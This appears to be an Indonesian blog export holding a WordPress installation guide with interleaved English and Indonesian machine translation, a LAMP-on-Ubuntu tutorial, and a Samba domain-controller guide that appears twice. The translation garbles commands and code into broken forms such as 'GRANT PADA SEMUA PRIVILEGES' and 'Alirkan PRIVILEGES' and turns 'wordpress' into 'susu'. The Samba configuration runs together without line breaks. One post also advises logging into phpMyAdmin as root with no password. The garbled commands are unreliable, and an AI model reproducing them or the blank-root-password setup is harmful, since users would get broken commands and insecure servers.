User . Klik Tambahkan Pengguna baru.<br />2. Chose a username for WordPress (' wordpress ' is good) and enter it in the User name field. Memilih nama pengguna untuk WordPress ( 'kaya' yang baik) dan memasukkannya dalam Nama pengguna lapangan. (Be sure Use text field: is selected from the dropdown.) (Pastikan Gunakan text field: dipilih dari dropdown.)<br />3. Choose a difficult-to-guess password (ideally containing a combination of upper- and lower-case letters, numbers, and symbols), and enter it in the Password field. Pilih-sulit untuk menebak-sandi (idealnya berisi kombinasi atas dan huruf kecil, nomor, dan simbol), dan memasukkannya dalam Password lapangan. (Be sure Use text field: is selected from the dropdown.) Re-enter the password in the Re-type field. (Pastikan Gunakan text field: dipilih dari dropdown.) Re-memasukkan sandi dalam Re-jenis lapangan.<br />4. Write down the username and password you chose. Catat username dan password yang Anda pilih.<br />5. Leave all options under Global privileges at their defaults. Meninggalkan semua pilihan di bawah Global hak mereka di default.<br />6. Click Go . Klik Go.<br />3. Return to the Privileges screen and click the Check privileges icon on the user you've just created for WordPress. Kembali ke Privileges layar dan klik pada ikon Periksa hak pengguna yang baru saja dibuat untuk Wordpress. In the Database-specific privileges section, select the database you've just created for WordPress under the Add privileges to the following database dropdown. Pada Database-hak khusus seksi, pilih database anda baru saja dibuat untuk WordPress di bawah hak Tambahkan ke database dropdown berikut. The page will refresh with privileges for that database. Halaman akan refresh dengan hak untuk database. Click Check All to select all privileges, and click Go . Klik Periksa Semua untuk memilih semua hak, dan klik Buka.<br />4. On the resulting page, make note of the host name listed after Server: at the top of the page. Pada halaman hasil, membuat catatan yang terdaftar setelah nama host server: di bagian atas halaman. (This will usually be localhost .) (Ini biasanya localhost.)<br /><br />Using the MySQL Client Menggunakan mysql Klien<br /><br />If you have shell access to your web server, are comfortable with using the command line, and your MySQL user has the permissions to create MySQL users and databases, you may follow the example session below to create your WordPress username and database. Jika Anda memiliki shell akses ke web server, yang nyaman dengan menggunakan baris perintah, dan Anda pengguna MySQL memiliki izin untuk membuat pengguna dan database MySQL, Anda dapat mengikuti sesi contoh di bawah ini untuk menciptakan WordPress username dan database.<br /><br />$ mysql -u adminusername -p $ Mysql-u adminusername-p<br />Enter password: Masukkan sandi:<br />Welcome to the MySQL monitor. Selamat datang ke MySQL monitor. Commands end with ; or \g. Perintah diakhiri dengan; atau \ g.<br />Your MySQL connection id is 5340 to server version: 3.23.54 Anda koneksi MySQL id 5340 adalah untuk versi server: 3.23.54<br /><br />Type 'help;' or '\h' for help. Jenis' membantu; 'atau' \ h 'untuk membantu. Type '\c' to clear the buffer. Type '\ c' untuk menghapus penyangga.<br /><br />mysql> CREATE DATABASE databasename; mysql> CREATE DATABASE databasename;<br />Query OK, 1 row affected (0.00 sec) Query OK, 1 row affected (0.00 sec)<br /><br />mysql> GRANT ALL PRIVILEGES ON databasename.* TO "wordpressusername"@"hostname" mysql> GRANT PADA SEMUA PRIVILEGES .* KE databasename "wordpressusername" @ "hostname"<br />-> IDENTIFIED BY "password"; -> IDENTIFIED BY "password";<br />Query OK, 0 rows affected (0.00 sec) Query OK, 0 rows affected (0.00 sec)<br /><br />mysql> FLUSH PRIVILEGES; mysql> Alirkan PRIVILEGES;<br />Query OK, 0 rows affected (0.01 sec) Query OK, 0 rows affected (0,01 detik)<br /><br />mysql> EXIT mysql> keluar<br />Bye Sampai jumpa<br />$<br /><br />In the above: Di atas:<br /><br />* adminusername will typically be root , unless you have another high-privileged account set up. adminusername biasanya akan menjadi root, kecuali Anda memiliki hak istimewa lain tinggi-setup account.<br />* wordpress or blog are good values for databasename . wordpress blog atau nilai-nilai yang baik untuk databasename.<br />* wordpress is a good value for wordpressusername . susu adalah nilai yang baik untuk wordpressusername.<br />* hostname will usually be localhost . hostname biasanya akan localhost. If you don't know what this value should be, check with your system administrator. Jika Anda tidak tahu apa yang harus nilai ini, periksa dengan administrator sistem Anda. If you are the system administrator, figure out what this value should be. Jika Anda adalah sistem administrator, memahami apa yang harus nilai ini.<br />* password should be a difficult-to-guess password, ideally containing a combination of upper- and lower-case letters, numbers, and symbols. sandi seharusnya menjadi sulit untuk menebak password, idealnya berisi kombinasi atas dan huruf kecil, nomor, dan simbol.<br /><br />Write down the values you used for databasename , wordpressusername , hostname , and password . Menuliskan nilai yang digunakan untuk databasename, wordpressusername, nama host, dan password.<br />Using Plesk Menggunakan Plesk<br /><br />See: Plesk 7 at tamba2.org Lihat: Plesk 7 di tamba2.org<br />Step 3: Set up wp-config.php Langkah 3: Mengatur wp-config.php<br /><br />For the next part, the code you will be looking to change is as follows: Untuk bagian selanjutnya, kode anda akan melihat untuk mengubah adalah sebagai berikut:<br /><br />// ** MySQL settings ** // / / ** MySQL pengaturan ** / /<br />define('DB_NAME', 'putyourdbnamehere'); // The name of the database define ( 'DB_NAME', 'putyourdbnamehere'); / / Nama database<br />define('DB_USER', 'usernamehere'); // Your MySQL username define ( 'DB_USER', 'usernamehere'); / / MySQL username Anda<br />define('DB_PASSWORD', 'yourpasswordhere'); // ...and password define ( 'DB_PASSWORD', 'yourpasswordhere'); / / ... dan sandi<br />define('DB_HOST', 'localhost'); // 99% chance you won't need to change this value define ( 'DB_HOST', 'localhost'); / / 99% kesempatan Anda tidak perlu mengubah nilai ini<br />define('DB_CHARSET', 'utf8'); define ( 'DB_CHARSET', 'utf8');<br />define('DB_COLLATE', ''); define ( 'DB_COLLATE','');<br />// Change SECRET_KEY to a unique phrase. / / Ubah SECRET_KEY untuk frase yang unik. You won't have to remember it later, Anda tidak perlu ingat nanti,<br />// so make it long and complicated. / / Sehingga membuatnya panjang dan rumit. You can visit https://www.grc.com/passwords.htm Anda dapat mengunjungi https: / / www.grc.com / passwords.htm<br />// to get a phrase generated for you, or just make something up. / / Untuk mendapatkan frase dihasilkan untuk Anda, atau hanya membuat sesuatu atas.<br />define('SECRET_KEY', 'put your unique phrase here'); // Change this to a unique phrase. define ( 'SECRET_KEY', 'Laksanakan unik frase di sini'); / / Ubah ini untuk frase yang unik.<br /><br />1. Returning to where you extracted the WordPress package in Step 1 , rename the file wp-config-sample.php to wp-config.php . Kembali ke tempat yang anda Wordpress paket yang diambil dalam Langkah 1, mengubah nama file wp-config-sample.php ke wp-config.php.<br />2. Open the renamed wp-config.php file in your favorite text editor and fill in the following information, per the example above: Buka diganti wp-config.php file favorit Anda dalam editor teks dan mengisi informasi berikut, per contoh di atas:<br /><br />DB_NAME DB_NAME<br />The name of the database you created for WordPress in Step 2 . Nama database yang dibuat untuk WordPress di Langkah 2.<br />DB_USER DB_USER<br />The username you created for WordPress in Step 2 . Nama pengguna yang Anda buat untuk WordPress di Langkah 2.<br />DB_PASSWORD DB_PASSWORD<br />The password you chose for the WordPress username in Step 2 . Sandi Anda untuk memilih nama pengguna WordPress di Langkah 2.<br />DB_HOST DB_HOST<br />The hostname you determined in Step 2 (usually localhost , but not always. See some possible DB_HOST values ). Nama host Anda ditentukan pada Langkah 2 (biasanya localhost, tetapi tidak selalu. Lihat beberapa kemungkinan DB_HOST nilai).<br />DB_CHARSET DB_CHARSET<br />The database character set, normally should not be changed. Database set karakter, biasanya tidak boleh diubah. See Editing wp-config.php for details. Lihat Edit wp-config.php untuk rincian.<br />DB_COLLATE DB_COLLATE<br />The database collation should normally be left blank. Database pemeriksaan harus biasanya akan dibiarkan kosong. See Editing wp-config.php for details. Lihat Edit wp-config.php untuk rincian.<br /><br />3. Save the file. Menyimpan file.<br /><br />* For more extensive details, and step by step instructions for creating the configuration file, refer to Editing wp-config.php . Untuk rincian lebih luas, dan petunjuk langkah demi langkah untuk menciptakan file konfigurasi, lihat Edit wp-config.php.<br /><br />For information on enabling SSL in WordPress 2.6, see SSL and Cookies in WordPress 2.6 . Untuk informasi mengenai cara mengaktifkan SSL di WordPress 2.6, lihat SSL dan Cookie di WordPress 2.6.<br />Step 4: Upload the files Langkah 4: Upload file<br /><br />Now you will need to decide where on your web site you'd like your blog to appear: Sekarang anda perlu memutuskan di mana pada situs web Anda Anda ingin blog Anda untuk muncul:<br /><br />* In the root directory of your web site. Dalam root direktori situs web Anda. (For example, http://example.com/ ) (Misalnya, http://example.com/)<br />* In a subdirectory of your web site. Dalam sebuah subdirektori dari situs web Anda. (For example, http://example.com/blog/ ) (Misalnya, http://example.com/blog/)<br /><br />Note: The location of your root web directory in the filesystem on your web server will vary across hosting providers and operating systems. Catatan: Lokasi Anda di direktori web root filesystem pada server Web Anda akan berbeda-beda di seluruh penyedia layanan hosting dan sistem operasi. Check with your hosting provider or system administrator if you do not know where this is. Periksa dengan hosting selular atau administrator sistem jika anda tidak tahu di mana ini.<br />In the Root Directory Dalam root direktori<br /><br />* If you need to upload your files to your web server, use your favorite FTP client to upload all the contents of the wordpress directory (but not the directory itself) into the root directory of your web site. Jika Anda perlu meng-upload file ke web server, favorit Anda menggunakan FTP klien untuk meng-upload semua isi dari direktori wordpress (tetapi tidak direktori itu sendiri) ke dalam direktori root dari situs web Anda.<br />* If your files are already on your web server, and you are using shell access to install WordPress, move all of the contents of the wordpress directory (but not the directory itself) into the root directory of your web site. Jika file Anda sudah berada pada server Web Anda, dan Anda menggunakan shell akses untuk memasang WordPress, memindahkan seluruh isi dari direktori wordpress (tetapi tidak direktori itu sendiri) ke dalam direktori root dari situs web Anda.<br /><br />In a Subdirectory Dalam sebuah subdirektori<br /><br />* If you need to upload your files to your web server, rename the wordpress directory to your desired name, then use your favorite FTP client to upload the directory to your desired location within the root directory of your web site. Jika Anda perlu meng-upload file ke web server Anda, mengubah nama susu dan direktori dengan nama yang anda inginkan, kemudian favorit Anda menggunakan FTP klien untuk meng-upload direktori ke lokasi yang Anda inginkan dalam root direktori situs web Anda.<br />* If your files are already on your web server, and you are using shell access to install WordPress, move the wordpress directory to your desired location within the root directory of your web site, and rename the directory to your desired name. Jika file Anda sudah berada pada server Web Anda, dan Anda menggunakan shell akses untuk memasang WordPress, susu dan memindahkan direktori ke lokasi yang Anda inginkan dalam root direktori situs web Anda, dan mengubah nama direktori dengan nama yang anda inginkan.<br /><br />Step 5: Run the Install Script Langkah 5: Jalankan Install Naskah<br /><br />Point your favorite web browser to start the installation script. Point web browser favorit Anda untuk memulai instalasi script.<br /><br />* If you placed the WordPress files in the root directory, you should visit: http://example.com/wp-admin/install.php Jika Anda menempatkan file WordPress di root direktori, Anda harus mengunjungi: http://example.com/wp-admin/install.php<br />* If you placed the WordPress files in a subdirectory called blog , for example, you should visit: http://example.com/blog/wp-admin/install.php Jika Anda menempatkan file WordPress di sebuah subdirektori yang bernama blog, misalnya, Anda harus mengunjungi: http://example.com/blog/wp-admin/install.php<br /><br />The following screenshots show how the installation progresses. Berikut screenshot menunjukkan bagaimana instalasi berlangsung. Notice in the screen, Entering the details, you enter your Weblog title and your e-mail address. Pemberitahuan di layar, Memasuki rincian, Anda memasukkan Weblog judul dan alamat e-mail Anda. Also displayed is a check-box asking if you would like your blog to appear in search engines like Google and Technorati. Juga ditampilkan adalah kotak menanyakan apakah Anda ingin blog Anda untuk muncul di mesin pencari seperti Google dan Technorati. Leave the box checked if you would like your blog to be visible to everyone, including search engines, and uncheck the box if you want to block search engines, but allow normal visitors. Biarkan kotak dicentang jika Anda ingin blog Anda akan terlihat untuk semua orang, termasuk mesin pencari, dan matikan kotak jika Anda ingin blok mesin pencari, tetapi membolehkan pengunjung biasa. Note all this information can be changed later in your Administration Panels . Catatan semua informasi ini dapat berubah nanti di Administrasi Panel.<br /><br />Version 2.3 Versi 2,3<br />WordPress Versi 2,3, Memasuki rincian<br />WordPress Version 2.3, Entering details WordPress Versi 2,3, Memasuki rincian<br />WordPress Versi 2,3, Semua dilakukan!<br />WordPress Version 2.3, All done! WordPress Versi 2,3, Semua dilakukan!<br />Install Script Troubleshooting Instal script mengatasi masalah<br /><br />* If you get an error about the database when you run the install script: Jika Anda mendapatkan error tentang database ketika anda menjalankan instalasi script:<br />o Go back to Step 2 and Step 3 , and be sure you got all the correct database information and that it was entered correctly into wp-config.php . Kembali ke Langkah 2 dan Langkah 3, dan pastikan Anda mendapatkan semua informasi yang benar dan database yang telah dimasukkan dengan benar ke dalam wp-config.php.<br />o Be sure you granted your WordPress user permission to access your WordPress database in Step 3 . Pastikan Anda memberikan Anda Wordpress izin pengguna untuk mengakses database di WordPress Langkah 3.<br />o Be sure the database server is running. Pastikan database server berjalan.<br /><br />Common Installation Problems Masalah umum instalasi<br /><br />The following are some of the most common installation problems. Berikut ini adalah beberapa yang paling umum masalah instalasi. For more information and troubleshooting for problems with your WordPress installation, check out FAQ Installation and FAQ Troubleshooting . Untuk informasi lebih lanjut dan untuk mengatasi masalah dengan masalah instalasi WordPress Anda, periksa FAQ Instalasi dan FAQ masalah.<br /><br />I see lots of Headers already sent errors. Saya melihat banyak sekali judul sudah dikirim kesalahan. How do I fix this? Bagaimana cara memperbaikinya?<br />You probably introduced a syntax error in editing wp-config.php . Anda mungkin memperkenalkan sintaks kesalahan dalam mengedit wp-config.php.<br /><br />1. Download wp-config.php (if you don't have shell access). Download wp-config.php (jika Anda tidak memiliki shell akses).<br />2. Open it in your favorite text editor . Buka favorit Anda dalam editor teks.<br />3. Check that the first line contains nothing but 4. Check that the last line contains nothing but ?> , and that there is no text after it (not even whitespace). Pastikan baris terakhir berisi hanya?>, Dan bahwa tidak ada teks setelah itu (bahkan tidak spasi).<br />5. If your text editor saves as Unicode, make sure it adds no byte order mark (BOM) . Jika Anda menyimpan sebagai editor teks Unicode, memastikan agar tidak menambah urutan byte tandai (BOM). Most Unicode-enabled text editors do not inform the user whether it adds a BOM to files; if so, try using a different text editor. Kebanyakan Unicode-enabled teks editor tidak menginformasikan pengguna apakah BOM untuk menambahkan sebuah file, jika demikian, coba gunakan editor teks yang berbeda.<br />6. Save the file, upload it again if necessary, and reload the page in your browser. Simpan file, meng-upload lagi jika diperlukan, dan mengambil kembali halaman dalam browser Anda.<br /><br />My page comes out gibberish. Saya keluar halaman cara bicara. When I look at the source I see a lot of " " tags. Ketika saya melihat sumber saya lihat banyak "" Tag.<br />If the tags are being sent to the browser, it means your PHP is not working properly. Jika Tag sedang dikirim ke browser, berarti Anda PHP tidak berfungsi sebagaimana mestinya. All PHP code is supposed to be executed before the server sends the resulting HTML to your web browser. Semua adalah kode PHP yang harus dijalankan sebelum server akan mengirimkan hasil HTML ke web browser Anda. (That's why it's called a pre processor.) Make sure your web server meets the requirements to run WordPress, that PHP is installed and configured properly, or contact your hosting provider or system administrator for assistance. (Oleh sebab itulah disebut pra prosesor.) Pastikan Anda web server memenuhi persyaratan untuk menjalankan WordPress, PHP yang terinstal dan dikonfigurasi dengan benar, atau hubungi hosting selular atau sistem administrator Anda untuk bantuan.<br /><br />I keep getting an Error connecting to database message but I'm sure my configuration is correct. Saya tetap memperoleh Kesalahan koneksi ke database pesan tetapi saya yakin saya konfigurasi sudah benar.<br />Try resetting your MySQL password manually. Coba ulang MySQL sandi Anda secara manual. If you have access to MySQL via shell, try issuing: Jika Anda memiliki akses ke MySQL melalui shell, coba penerbitan:<br /><br />SET PASSWORD FOR ' wordpressusername '@' hostname ' = OLD_PASSWORD(' password '); SET SANDI UNTUK 'wordpressusername' @ 'hostname' = OLD_PASSWORD ( 'password');<br /><br />If you are using a version of MySQL prior to 4.1, use PASSWORD instead of OLD_PASSWORD . Jika Anda menggunakan versi MySQL sebelum ke 4.1, menggunakan SANDI bukan OLD_PASSWORD. If you do not have shell access, you should be able to simply enter the above into an SQL query in phpMyAdmin. Jika Anda tidak memiliki akses shell, Anda harus dapat cukup masukkan ke dalam SQL di atas permintaan pada phpMyAdmin. Failing that, you may need to use your host's control panel to reset the password for your database user. Kegagalan itu, Anda mungkin harus menggunakan host panel kontrol untuk me-reset password untuk pengguna database anda.<br /><br />My image/MP3 uploads aren't working. Upload image/MP3 saya tidak bekerja.<br />If you use the Rich Text Editor on a blog that's installed in a subdirectory, and drag a newly uploaded image into the editor field, the image may vanish a couple seconds later. Jika Anda menggunakan Rich Text Editor pada sebuah blog yang diinstal pada sebuah subdirektori, dan tarik baru-upload foto ke dalam editor lapangan, gambar mungkin lenyap beberapa detik kemudian. This is due to a problem with TinyMCE (the rich text editor) not getting enough information during the drag operation to construct the path to the image or other file correctly. Hal ini disebabkan oleh masalah dengan TinyMCE (editor teks kaya) tidak cukup mendapatkan informasi selama operasi tarik untuk membangun path ke gambar atau file lain dengan benar. The solution is to NOT drag uploaded images into the editor. Solusinya adalah dengan TIDAK tarik-upload foto ke dalam editor. Instead, click and hold on the image and select "Send to Editor." Sebaliknya, terus klik pada gambar dan pilih "Kirim ke Editor." <br /><br /><br /><br /></span>Wahyoe TKJhttp://www.blogger.com/profile/13798186938608644628noreply@blogger.com0tag:blogger.com,1999:blog-3898445254899960720.post-75098354265051242332008-10-27T20:23:00.000-07:002008-10-27T22:32:59.308-07:00Instalasi LAMP di Ubuntu<span class="fullpost"><br /> <span style="font-size:85%;">LAMP, adalah kependekan dari Linux+Apache+MySQL+PHP, merupakan sebuah paket perangkat lunak untuk menjalankan web site dynamic dan sebagai sebuah web server. LAMP ini terdiri dari beberapa komponen yang kesemuanya termasuk ke dalam keluarga open source. Yaitu Linux sebagai sistem operasinya, Apache sebagai web servernya, MySQL sebagai databasenya, dan PHP sebagai bahasa pemrogramannya.<br />Dalam penerapannya, LAMP tidak dalam satu bendel, artinya tiap komponen itu terpisah. Jadi berdiri sendiri-sendiri. Baik linux, apache, mysql dan php-nya berdiri sendiri. Jadi keempatnya diinstall secara terpisah, setelah terinstall barulah dikonfigurasi supaya dapat berjalan beriringan. Walaupun ada yang sudah dalam satu bendel, jadi apache, mysql dan php (minus linux) sudah dalam satu paket, tinggal menginstall satu paket sudah terkonfigurasi semuanya.<br />Banyak distribusi linux sekarang sudah menyertakan paket LAMP, jadi dengan menginstall distro linux tersebut, semua paket sudah terinstall, tanpa perlu mengkonfigurasi lagi. Namun ada juga yang belum terinstall. Jadi terpaksa apache, mysql dan php-nya diinstall secara manual.<br />Di dalam pendistribusiannya, apache, mysql dan php terdiri dalam beberapa macam paket. Ada yang dalam versi sourcenya (tar.gz/tar.bz2), ada yang dalam versi rpm (untuk distribusi linux keluarga red hat), tgz (untuk distro keluarga slackware), deb (untuk distro keluarga debian), dll. Kali ini akan dibahas cara menginstall baik apache, mysql, dan php ke dalam distro ubuntu, dan menggunakan versi deb-nya. Adapun langkah-langkahnya sebagai berikut :<br />Pertama pastikan ubuntu telah terinstall dengan baik dan benar (hehe …). Install apache http server sudo apt-get install apache2<br />Install php untuk server apache sudo apt-get install php5<br />Install mysql server database sudo apt-get install mysql-server<br />Install mysql untuk apache server sudo apt-get install libapache2-mod-auth-mysqlsudo apt-get install php5-mysqlsudo apt-get install phpmyadmin (optional)<br />Nah, setelah proses penginstallan selesai, sekarang masuk ke tahap pengecekkan, apakah sudah terinstall dengan benar atau belum. Untuk pengecekannya adalah sebagai berikut.<br />Restart server apache terlebih dahulu sudo /etc/init.d/apache2 restart<br />Cek servis apache melalui browser, ketikkan alamat berikut </span><a href="http://localhost/"><span style="font-size:85%;">http://localhost</span></a><br /><span style="font-size:85%;">Bila sudah terbuka sebuah halaman maka penginstallan apache sudah benar<br />Cek servis php apakah sudah terintegrasi dengan benar atau belum. Caranya adalah dengan membuat sembarang file php di folder /var/www/. Listing programnya adalah :<br />Setelah di save, silahkan dibuka di browser. Jika di browser sudah tertampilkan data-data tentang php maka servis php sudah berjalan.<br />Cek servis mysql apakah sudah terintegrasi dengan php atau belum. Caranya buat sembarang file php di /var/www/. Listing programnya adalah :<br /><br />Setelah di save, kemudian buka di browser. Jika tampil tulisan sukses maka php dan mysql sudah terintegrasi dengan benar. Jika muncul tulisan gagal, maka php dan mysql belum terintegrasi dengan benar.<br />Cek phpmyadmin (optional) apakah sudah berjalan atau belum. Buka alamat berikut di browser : </span><a href="http://localhost/phpmyadmin"><span style="font-size:85%;">http://localhost/phpmyadmin</span></a><br /><span style="font-size:85%;">Masukkan root untuk user, sedangkan password tidak perlu di isi, karena default penginstallan password mysql belum di set, jadi tidak perlu password. Jika berhasil login maka phpmyadmin sudah terinstall dengan benar.</span><br /><span style="font-size:85%;">Berikut ini adalah cara mengkonfigurasi Samba Server Sebagai PDC :1. pertama dowload program samba dan accesorisnya :apt-get install samba samba-common samba-doc libcupsys2-gnutls10 libkrb53 winbind smbclient2. Konfigurasi /etc/samba/smb.conf sebagai berikut :[global]workgroup = ubuntudk.com --> ubah sesuain yang kita maunetbios name = ubuntuserver --> ubah sesuain yang kita mauserver string = %h server (Samba, Ubuntu) --> ubah sesuain yang kita maupassdb backend = tdbsamsecurity = userusername map = /etc/samba/smbusersname resolve order = wins bcast hostsdomain logons = yespreferred master = yeswins support = yes# Useradd scriptsadd user script = /usr/sbin/useradd -m %udelete user script = /usr/sbin/userdel -r %uadd group script = /usr/sbin/groupadd %gdelete group script = /usr/sbin/groupdel %gadd user to group script = /usr/sbin/usermod -G %g %uadd machine script = /usr/sbin/useradd -s /bin/false/ -d /var/lib/nobody %uidmap uid = 15000-20000idmap gid = 15000-20000# sync smb passwords woth linux passwordspasswd program = /usr/bin/passwd %upasswd chat = *Enter\snew\sUNIX\spassword:* %n\n *Retype\snew\sUNIX\spassword:* %n\n .passwd chat debug = yesunix password sync = yes# set the loglevellog level = 3[homes]comment = Homevalid users = %Sread only = nobrowsable = no[netlogon]comment = Network Logon Servicepath = /home/samba/netlogonadmin users = Administratorvalid users = %Uread only = no[profile]comment = User profilespath = /home/samba/profilesvalid users = %Ucreate mode = 0600directory mode = 0700writable = yesbrowsable = no3. Buat beberapa direktori berikut sebagai domain logon dan profile :mkdir /home/sambamkdir /home/samba/netlogonmkdir /home/samba/profilesmkdir /var/spool/sambachmod 777 /var/spool/samba/chown -R root:users /home/samba/chmod -R 771 /home/samba/4. Lalu restart samba/etc/init.d/samba restart5. Ubah pada bagian /etc/nsswitch.conf, pada baris :hosts: files dnsmenjadi :hosts: files wins dns6. tambahkan beberapa pc clinet pada /etc/hosts :127.0.0.1 localhost192.168.0.136 ubuntuserver.dk.co.id ubuntuserver.dk.co.id192.168.0.131 ciko192.168.0.133 dian192.168.0.135 gustin7. Tambahkan user root kedalam user samba :smbpasswd -a rootNew SMB password:Retype new SMB password:8. buat file /etc/samba/smbusers lalu jalankan :echo "root = Administrator" > /etc/samba/smbusersmengartikan bahwa user root = user administrator pada windows9. Test drive, apakah settingan kita dah benar :smbclient -L localhost -U%akan menghasilkan output :Domain=[UBUNTUDK.COM] OS=[Unix] Server=[Samba 3.0.22]Sharename Type Comment--------- ---- -------netlogon Disk Network Logon Serviceallusers Disk All UsersIPC$ IPC IPC Service (ubuntuserver server (Samba, Ubuntu))ADMIN$ IPC IPC Service (ubuntuserver server (Samba, Ubuntu))Domain=[UBUNTUDK.COM] OS=[Unix] Server=[Samba 3.0.22]Server Comment--------- -------UBUNTUSERVER ubuntuserver server (Samba, Ubuntu)Workgroup Master--------- -------UBUNTUDK.COM UBUNTUSERVER10. lalu kita setup domain group untuk windows, jalankan perintah :net groupmap modify ntgroup="Domain Admins" unixgroup=rootnet groupmap modify ntgroup="Domain Users" unixgroup=usersnet groupmap modify ntgroup="Domain Guests" unixgroup=nogroup11. tambah user linux dan user samba dengan cara :user linux :useradd ciko -m -G usersuser samba :smbpasswd -a ciko12. Sekarang tambahan direktori share yang akan dipakai oleh seluruh user :mkdir -p /home/shares/alluserschown -R root:users /home/shares/allusers/chmod -R ug+rwx,o+rx-w /home/shares/allusers/13. Ubah juga pada /etc/samba/smb.conf, tambahkan baris berikut :[allusers]comment = All Userspath = /home/shares/allusersvalid users = @usersforce group = userscreate mask = 0660directory mask = 0771writable = yes14. lalu restart samba kembali :/etc/init.d/samba restart15. Langkah Yang terakhir dalah dengan menjoinkan mesin windows ke pdc linux kita, dengan cara : ( Testing Dengan Windows XP )- click kanan pada mycomputer- pilih computer name lalu change- masukan domain PDC pada bagisn domain- akan muncul windows yang meminta memasukan user dan password, pada langkah ini masukan user root dan password samba untuk user root- OK- Akan muncul bahwa kita sukses menjoinkan mesin windows ke PDC linuxNb :Ubuntu Server 6.06Windows Xp SP2 ( Client )Referensi :http://howtoforge.com/http://ariya.pandu.org/linux/feature/pdc/pdc.htm</span><br /><span style="font-size:85%;"><br /></span></span>Wahyoe TKJhttp://www.blogger.com/profile/13798186938608644628noreply@blogger.com0tag:blogger.com,1999:blog-3898445254899960720.post-43613844786804824752008-10-27T19:46:00.000-07:002008-10-27T21:05:56.596-07:00Install Samba di Ubuntu<span class="fullpost"> Konfigurasi Samba Sebagai PDC di Ubuntu ServerSamba adalah himpunan aplikasi yang bertujuan agar komputer dengan sistem operasi Linux, BSD ( atau UNIX lainnya) dapat bertindak sebagai file dan print server yang berbasis protokol SMB (session message block). </span><br /><span class="fullpost"><span class="fullpost"> </span><br /><span class="fullpost">Jaringan yang semacam ini biasa dijumpai pada Windows workgroup atau Windows NT Domain. Samba juga dilengkapi dengan beberapa program bantu sehingga sistem operasi Linux (dan UNIX lainnya) bisa mengakses resources yang ada pada jaringan Windows yang telah ada. Bisa dikatakan, Samba adalah jembatan penghubung antara Windows dan UNIX.Samba terdiri atas dua program yang berjalan di background: SMBD dan NMBD. Secara singkat dapat disebutkan bahwa SMBD adalah file server yang akan menghasilkan proses baru untuk setiap client yang aktif sementara NMBD bertugas mengkonversi nama komputer (NetBIOS) menjadi alamat IP sekaligus juga memantau share yang ada di jaringan. Kerja SMBD sendiri diatur melalui file konfigurasi /etc/samba/smb.conf. Dengan membuat file konfigurasi yang tepat, Samba dapat dijadikan file server, print server, domain controller, dan banyak fungsi lainnya.<br /><br />Berikut ini adalah cara mengkonfigurasi Samba Server Sebagai PDC :<br />1. pertama dowload program samba dan accesorisnya :apt-get install samba samba-common samba-doc libcupsys2-gnutls10 libkrb53 winbind smbclient<br />2. Konfigurasi /etc/samba/smb.conf sebagai berikut :[global]workgroup = ubuntudk.com --> ubah sesuain yang kita maunetbios name = ubuntuserver --> ubah sesuain yang kita mauserver string = %h server (Samba, Ubuntu) --> ubah sesuain yang kita maupassdb backend = tdbsamsecurity = userusername map = /etc/samba/smbusersname resolve order = wins bcast hostsdomain logons = yespreferred master = yeswins support = yes# Useradd scriptsadd user script = /usr/sbin/useradd -m %udelete user script = /usr/sbin/userdel -r %uadd group script = /usr/sbin/groupadd %gdelete group script = /usr/sbin/groupdel %gadd user to group script = /usr/sbin/usermod -G %g %uadd machine script = /usr/sbin/useradd -s /bin/false/ -d /var/lib/nobody %uidmap uid = 15000-20000idmap gid = 15000-20000# sync smb passwords woth linux passwordspasswd program = /usr/bin/passwd %upasswd chat = *Enter\snew\sUNIX\spassword:* %n\n *Retype\snew\sUNIX\spassword:* %n\n .passwd chat debug = yesunix password sync = yes# set the loglevellog level = 3[homes]comment = Homevalid users = %Sread only = nobrowsable = no[netlogon]comment = Network Logon Servicepath = /home/samba/netlogonadmin users = Administratorvalid users = %Uread only = no[profile]comment = User profilespath = /home/samba/profilesvalid users = %Ucreate mode = 0600directory mode = 0700writable = yesbrowsable = no<br />3. Buat beberapa direktori berikut sebagai domain logon dan profile :mkdir /home/sambamkdir /home/samba/netlogonmkdir /home/samba/profilesmkdir /var/spool/sambachmod 777 /var/spool/samba/chown -R root:users /home/samba/chmod -R 771 /home/samba/<br />4. Lalu restart samba/etc/init.d/samba restart<br />5. Ubah pada bagian /etc/nsswitch.conf, pada baris :hosts: files dnsmenjadi :hosts: files wins dns<br />6. tambahkan beberapa pc clinet pada /etc/hosts :127.0.0.1 localhost192.168.0.136 ubuntuserver.dk.co.id ubuntuserver.dk.co.id192.168.0.131 ciko192.168.0.133 dian192.168.0.135 gustin<br />7. Tambahkan user root kedalam user samba :smbpasswd -a rootNew SMB password:Retype new SMB password:<br />8. buat file /etc/samba/smbusers lalu jalankan :echo "root = Administrator" > /etc/samba/smbusersmengartikan bahwa user root = user administrator pada windows<br />9. Test drive, apakah settingan kita dah benar :smbclient -L localhost -U%akan menghasilkan output :Domain=[UBUNTUDK.COM] OS=[Unix] Server=[Samba 3.0.22]Sharename Type Comment--------- ---- -------netlogon Disk Network Logon Serviceallusers Disk All UsersIPC$ IPC IPC Service (ubuntuserver server (Samba, Ubuntu))ADMIN$ IPC IPC Service (ubuntuserver server (Samba, Ubuntu))Domain=[UBUNTUDK.COM] OS=[Unix] Server=[Samba 3.0.22]Server Comment--------- -------UBUNTUSERVER ubuntuserver server (Samba, Ubuntu)Workgroup Master--------- -------UBUNTUDK.COM UBUNTUSERVER<br />10. lalu kita setup domain group untuk windows, jalankan perintah :net groupmap modify ntgroup="Domain Admins" unixgroup=rootnet groupmap modify ntgroup="Domain Users" unixgroup=usersnet groupmap modify ntgroup="Domain Guests" unixgroup=nogroup<br />11. tambah user linux dan user samba dengan cara :user linux :useradd ciko -m -G usersuser samba :smbpasswd -a ciko<br />12. Sekarang tambahan direktori share yang akan dipakai oleh seluruh user :mkdir -p /home/shares/alluserschown -R root:users /home/shares/allusers/chmod -R ug+rwx,o+rx-w /home/shares/allusers/<br />13. Ubah juga pada /etc/samba/smb.conf, tambahkan baris berikut :[allusers]comment = All Userspath = /home/shares/allusersvalid users = @usersforce group = userscreate mask = 0660directory mask = 0771writable = yes<br />14. lalu restart samba kembali :/etc/init.d/samba restart<br />15. Langkah Yang terakhir dalah dengan menjoinkan mesin windows ke pdc linux kita, dengan cara : ( Testing Dengan Windows XP )- click kanan pada mycomputer- pilih computer name lalu change- masukan domain PDC pada bagisn domain- akan muncul windows yang meminta memasukan user dan password, pada langkah ini masukan user root dan password samba untuk user root- OK- Akan muncul bahwa kita sukses menjoinkan mesin windows ke PDC linux Nb :Ubuntu Server 6.06Windows Xp SP2 ( Client )Referensi :<a href="http://howtoforge.com/">http://howtoforge.com/</a><a 